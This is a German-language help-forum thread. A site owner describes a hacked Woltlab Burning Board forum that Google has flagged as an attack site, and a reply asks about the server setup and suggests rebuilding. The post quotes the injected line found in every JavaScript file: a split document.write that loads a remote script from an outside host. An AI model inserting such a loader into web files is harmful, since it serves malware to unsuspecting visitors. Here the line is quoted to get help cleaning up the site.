Hiho

hoffe ich kann mein Problem hier posten da es sich ja nicht um einen Trojaner im eigentlichen Sinne handelt sondern, wie schon im Betreff geschrieben, um einen Hack meiner Homepage bzw. des Forums.

Ich habe seit einigen Tagen gemerkt, dass beim Forum aufruf eine mir unbekannte Seite aufgerufen werden wollte.
Dadurch kam es auch Zeitweise zu sehr langen Ladezeiten des Forums.
Ich habe mir aber nichts weiter dabei gedacht weiil ich auch bei Google nichts Hilfreiches finden konnte, ausser das das irgendein JavaScrpt unpacker sein soll.

Mitlerweile gibt es einen Eintrag wo jemand von einem Hack spricht und demnach bin ich nun auch darauf gekommen, dass es ein Hack sein muss.
Gerade weil auch seit heute die Seite von Google gesperrt wurde:
"Als attackierend gemeldete Webseite!

Die Webseite auf w*w.erkelenzer06.de/board/ wurde als attackierende Seite gemeldet und auf Grund Ihrer Sicherheitseinstellungen blockiert

Attackierende Webseiten versuchen, Programme zu installieren, die private Informationen stehlen, Ihren Computer verwenden, um andere zu attackieren oder Ihr System beschädigen.

Manche Webseiten vertreiben bewusst Viren und ähnlich schädliche Software, aber viele Webseiten sind auch ohne das Wissen oder die Erlaubnis des Betreibers kompromittiert."

Ich habe auch schon gerausgefunden, dass nun in jeder JavaScript Datei folgender String angefügt wurde:

document.write('<sc'+'ript type="text/javascript" src="hxxp://addle.diretctrishta.com:8080/Binary.js"></scri'+'pt>');
         

Daraufhin habe ich aus jeder JS Datei diesen String raus gelöscht nur besteht das Problem weiterhin.
Hat jemand eine Ahnung woher dieser Kram kommt und wie man diesen entfernen kann?

Daten:
URL - h**p://www.erkelenzer06.de/board
Forum - Woltlab Burning Board 3.1.2

Hat jemand eine Ahnung woher dieser Kram kommt und wie man diesen entfernen kann?

Um sicher zu gehen, musst Du wahrscheinlich die Seite neu aufsetzen.
Erzähl mal was über den Server. Wie siehts aus mit

- Betriebssystem und Patchlevel
- Webserver, welche Version
- PHP? MySQL?
- Forumsoftware auf dem aktuellsten Stand? Alte Boardsoftware mit Sicherheitslücken wird schnell angegriffen...
- wie genau hast Du die Seite bzw. den Server im Griff?